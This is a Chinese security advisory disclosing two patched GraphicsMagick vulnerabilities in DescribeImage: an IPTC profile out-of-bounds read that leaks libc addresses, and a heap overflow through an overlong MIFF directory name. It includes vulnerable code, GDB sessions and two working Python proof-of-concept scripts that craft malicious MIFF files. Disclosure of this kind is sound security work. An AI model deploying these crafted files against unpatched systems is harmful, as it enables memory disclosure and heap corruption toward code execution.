漏洞概要
以下安全公告描述了在GraphicsMagick中发现的两个漏洞。
GraphicsMagick是“图像处理方面的瑞士军刀。 基础包中的源码共有267K行(根据David A. Wheeler统计),它提供了强大而有效的工具和库,支持读,写超过88种主要图像处理格式,包括DPX,GIF,JPEG,JPEG-2000,PNG,PDF,PNM和TIFF等重要格式。
在GraphicsMagick中发现的两个漏洞是:
- 内存信息泄露
- 堆溢出
漏洞提交者
一位独立的安全研究人员Jeremy Heng(@nn_amon)和Terry Chia(Ayrx)向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
厂商已经发布了这些漏洞的补丁(15237:e4e1c2a581d8 and 15238:7292230dd18)。获取更多信息: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt
漏洞详细信息
内存信息泄露
GraphicsMagick易受到magick/describe.c文件的DescribeImage函数中存在内存信息泄露漏洞影响。
负责打印包含的IPTC配置文件信息的图像中的这一部分代码存在漏洞。
该漏洞可以通过特制的MIFF文件触发。
存在漏洞的代码路径如下:
```c
63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64 const MagickBool verbose)
65 {
...
660 for (i=0; i < profile_length; )
661 {
662 if (profile[i] != 0x1c)
663 {
664 i++;
665 continue;
666 }
667 i++; /* skip file separator */
668 i++; /* skip record number */
...
725 i++;
726 (void) fprintf(file," %.1024s:\n",tag);
727 length=profile[i++] << 8;
728 length|=profile[i++];
729 text=MagickAllocateMemory(char *,length+1);
730 if (text != (char *) NULL)
731 {
732 char
733 **textlist;
734
735 register unsigned long
736 j;
737
738 (void) strncpy(text,(char *) profile+i,length);
739 text[length]='\0';
740 textlist=StringToList(text);
741 if (textlist != (char **) NULL)
742 {
743 for (j=0; textlist[j] != (char *) NULL; j++)
744 {
745 (void) fprintf(file," %s\n",textlist[j]);
...
752 i+=length;
753 }
```
profile_length变量中的值在MIFF头中的profile-iptc = 8字段设置
当访问profile [i]时,因为不检查i的值,所以会出现越界访问。
如果断在describe.c第738行,在执行strncpy操作的时候我们可以获取到堆中的内容。
gef➤ x/2xg profile 0x8be210: 0x08000a001c414141 0x00007ffff690fba8
0x08000a001c414141是我们植入MIFF文件中的payload。
41 41 41 - padding 1C - sentinel check in line 662 00 - padding 0A - "Priority" tag 08 00 - 8 in big endian, the length
检查与payload相邻的值0x00007ffff690fba8,发现它其实是libc中main_arena结构中的一个地址。
gef➤ x/xw 0x00007ffff690fba8 0x7ffff690fba8 <main_arena+136>: 0x008cdc40 gef➤ vmmap libc Start End Offset Perm Path 0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
现在我们可以计算到libc base的偏移量 – 0x3c4b98
漏洞证明
$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000
#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
from pwn import *
directory = "DIR"
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
'e-iptc=',
'\n\x0c\n:\x1a',
'\n\x00',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
def main():
data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
header = partitions[0] + str(length) + partitions[1]
payload = header + directory + partitions[2] + data + partitions[3]
file(output, "w").write(payload)
p = process(executable="gm", argv=["identify", "-verbose", output])
output_leak = p.recvall()
priority_offset = output_leak.index("Priority:") + 12
montage_offset = output_leak.index("Montage:") - 3
leak = output_leak[priority_offset:montage_offset]
if "0x00000000" in leak:
log.info("Unlucky run. Value corrupted by StringToList")
exit()
main_arena_leak = u64(leak.ljust(8, "\x00"))
log.info("Main Arena Leak: 0x%x" % main_arena_leak)
libc_base = main_arena_leak - libc_main_arena_entry_offset
log.info("libc Base: 0x%x" % libc_base)
if __name__ == "__main__":
main()
堆溢出
GraphicsMagick容易受到magick/describe.c文件的DescribeImage()函数中发现的堆溢出漏洞的影响。
下面代码中855行的strncpy的调用,没有限制要复制到目的缓冲区,而是通过在目录名称中搜索换行符或空字节来计算大小。
844 /*
845 Display visual image directory.
846 */
847 image_info=CloneImageInfo((ImageInfo *) NULL);
848 (void) CloneString(&image_info->size,"64x64");
849 (void) fprintf(file," Directory:\n");
850 for (p=image->directory; *p != '\0'; p++)
851 {
852 q=p;
853 while ((*q != '\n') && (*q != '\0'))
854 q++;
855 (void) strncpy(image_info->filename,p,q-p);
856 image_info->filename[q-p]='\0';
857 p=q;
...
880 }
881 DestroyImageInfo(image_info);
由于ImageInfo结构中的filename字段是固定的2053字节,因此可以通过伪造超长的目录名,造成堆溢出。
type = struct _ImageInfo {
...
FILE *file;
char magick[2053];
char filename[2053];
_CacheInfoPtr_ cache;
void *definitions;
Image *attributes;
unsigned int ping;
PreviewType preview_type;
unsigned int affirm;
_BlobInfoPtr_ blob;
size_t length;
char unique[2053];
char zero[2053];
unsigned long signature;
}
触发此漏洞的一种方法是在带有verbose标志的MIFF格式文件上运行identify命令。
漏洞证明
使用下面的脚本就可以生成MIFF文件exploit.miff。
#!/usr/bin/python
from pwn import *
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
':\x1a',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
def main():
payload = "A"*10000
payload = partitions[0] + payload + partitions[1]
file(output, "w").write(payload)
if __name__ == "__main__":
main()
使用GDB带参数identify -verbose运行GraphicsMagick gm,当strncpy调用过后,中断程序的运行,然后检查被破坏的ImageInfo对象,以证明堆溢出利用成功。
gef➤ r identify -verbose exploit.miff
...
gef➤ br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤ p *image_info
$3 = {
...
compression = UndefinedCompression,
file = 0x0,
magick = '\000' <repeats 2052 times>,
filename = 'A' <repeats 2053 times>,
cache = 0x4141414141414141,
definitions = 0x4141414141414141,
attributes = 0x4141414141414141,
ping = 0x41414141,
preview_type = 1094795585,
affirm = 0x41414141,
blob = 0x4141414141414141,
length = 0x4141414141414141,
unique = 'A' <repeats 2053 times>,
zero = 'A' <repeats 2053 times>,
signature = 0x4141414141414141
}